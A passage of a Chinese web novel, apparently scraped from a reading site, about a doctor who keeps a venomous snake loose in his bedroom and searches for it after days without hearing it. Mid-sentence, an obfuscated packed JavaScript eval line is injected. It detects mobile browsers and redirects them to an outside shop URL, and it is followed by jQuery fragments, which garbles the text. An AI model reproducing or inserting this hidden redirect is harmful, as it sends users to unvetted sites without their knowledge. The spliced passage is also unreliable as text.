第九天早上。
谢息延起床的时候拿起手机,打开购物页面,因为近一两年的购物记录只有三文鱼,因此系统给他推送的也全是三文鱼。
浏览了一两分钟,谢息延随手挑选价格最贵的三文鱼,下单。
整个过程流畅自然,到结算的时候也不过才过去一分钟,没有丝毫犹豫,就在点结算的时候,他手指一顿,脑子清醒了点。
不对,
那条蛇不会在他家里待很久。
为什么要再买一些三文鱼。
谢息延将手机丢在床上,冷静下来。
荒谬。
不过是喂食过一次而已。
谢息延关掉手机,他掀开被子,起身去洗漱。
蛇五天才需要进食一次,也就是说,还要五天之后才能喂它。
但是他是等不到下一次喂食的。
这是一条又毒又野蛮的小蛇,生活在野外,野性未消,闯入人类的领地,忍受了这么多天,不会一直忍着不主动攻击人类。
最多再给它两天时间。
没错。
是这样的。
谢息延是一位被外人多有称赞的高智商天才,对于这条小蛇,他脑海里动用了无数种数据分析,函数分析,几何分析......
这条蛇这几天应该一直在观察他。
随着他活动的增加以及时间的递增,蛇对他的忍耐到了极限,精神到了极度紧绷的状态。
发起攻击撕咬他的概率已经无限接近百分之百了。
......
人走后。
蛇苏醒了。
它这两天白天在睡觉,晚上也在睡觉,因为它的肚子太胀了,太撑了。
蛇饱( ;_ ;)
那天吃多之后就一直撑得它游不动,蛇的身体变得很笨重。
恰好蛇是一个懒惰的生物。
它睡醒后就在趴在床底下看着外面发呆。
人的那双黑白花纹的拖鞋在他的面前走过来又走过去,走过来又走过去。
蛇的脑袋随着他拖鞋的方向转动,左边,右边,左边,右边......
人一直在来回踱步。
左边,人来了,右边,人走了。
看了两三分钟,蛇的脑袋有点晕。
它吐了吐信子,拼尽全力将自己转过头去。
脑袋转向另一个方向,看不到人的大脚了,嗯,这样好多了。
-
谢息延穿着白大褂,双手插兜靠在医院的墙上,有些走神。
这两天晚上,他没有再听到一点动静。
以往还能听到蛇鳞摩擦地面发出来的细微声响,这两天是一点声音都没有了。
难道,蛇死了.....???
谢息延想到前天那条蛇还吃了东西。
要不然今天就把那条蛇找出来......
谢息延又生生遏制住了这个想法。
再等一晚。
谢息延给遗产代理律师发了个消息,让他今晚再等一晚,明天如果没有消息,就可以执行他的遗产手续了。
律师回的很快,发了个扬着眉毛的大笑脸。
“?”
严律师是顶级律所的大律师,他很专业,不会发额外的表情,不会多说不该说的话。
看着那个笑眯眯的表情,谢息延面无表情地挑了挑眉。
-
第十天了。
谢息延下床的时候有些茫然。
这么多天了,他居然,还活着......
昨天晚上又失眠了。
他甚至怀疑这么多天过去了,他是不是已经死了?
其实他活在另一个世界里,只是他不知道自己已经死了。
想到这里,谢息延的脸色有些古怪。
必须要把那条蛇找出来了。
上班还是要上的,工作上他足够沉着冷静,没有被人看出什么端倪。
中午他没有吃饭,换下白大褂后径直开车回了一趟家里,一脚油门踩到底,到家后上楼直奔卧室。
他从来没有主动找过这条蛇,自从买回家的第一天起就直接放养。
除了偶尔能听到蛇的动静,就再也没见过这条蛇。
这两天晚上甚至连蛇的动静都听不到了。
就像......死了。
是他死了还是那条小蛇先死了!?
推开卧室门,屋子里安安静静,异常沉闷、昏暗,一如跟他走的时候。
谢息延站在卧室的中间位置,环视整间房子一圈。
先从衣柜找起,衣柜又暗又闷,很适合蛇这种生物躲藏。
他走到衣柜前,拉住柜门一把将它打开。
然而视线范围内并没有看到那条蛇。
拨开衣架,衣架上挂了不少衣服,谢息延把衣架拿出来都抖了抖。
或许蛇藏在里面.......
床上堆着一堆衣服,谢息延半蹲下来,将底下的抽屉也翻了个底朝天。
然而都没有。
难道,那条蛇正躲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17624033|206227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
角落盯着他?准备下一秒扑过来,咬住他的腿,向他注入毒素。
将他咬死。
这个念头在谢息延脑海里一闪而过,又被他可笑地否决了。
十天了都没咬他,这会儿可能突然咬他吗?
是不是在床底下?
谢息延蹲下来,手撑着地面,探头扫视了一圈床底。
床底的间隙很窄,却足以容纳一条小蛇通过......
然而,床底空空荡荡。
没有那条蛇。
不在床底!?
谢息延在床上睡觉的时候时常能感觉到,那条蛇就在他的床底下。
离他很近。
但是,为什么不咬他!?
谢息延并不觉得那条蛇对他会有什么善意。
毕竟这种冷血动物,只会遵循本能行事,根本不通人性。
他迅速将被子掀开。
被子里也没有。
那条小蛇可能根本就没有爬到他的床上过!!!
原本工整掖进西裤的衬衫变得凌乱,领口被扯开两个扣子,谢息延一把推开椅子,墨色的眼眸冰冷又烦躁。
他一只手撑着腰,另一只手扶在额头上。
房间里的每一个家具,每一个物品,都像变成了彩色在他面前放大旋转,冲击着他的视线。
那条蛇......
它到底去哪了!?
视线定格在书柜上,谢息延想到什么,快步走到书桌前。书柜上有一个倾斜的书本,他记得,他的书都摆放的整整齐齐,不会这样歪斜。
骨节分明的手掌一把将那几本书本拨开——
然而,那后面空空如也。
他不信地将每一本书都抽出来,抖落。
这本没有......
那本里面也没有......
书被摞在桌子上。谢息延把家里每一个能看得见的角落都翻找了一遍,但是不管哪里都没有那条小蛇。
最后,他把目光投向了那一扇阳台门。
自从他的房间有蛇之后,林姨就没再进过他的房间。
阳台门没有开过。
他偶尔会觉得,帘子后面似乎有鳞片磨擦传来的嘶嘶声。
像是气流极速抽动,很轻微的动静,但在安静的房间里很难忽视。
就像现在,不知道是不是因为精神过于紧张,他能感觉到,窗帘似乎在动。
谢息延目光沉冷,皮鞋轻轻踩在地上,手搭在窗帘上,
猛地一把将其拉开了。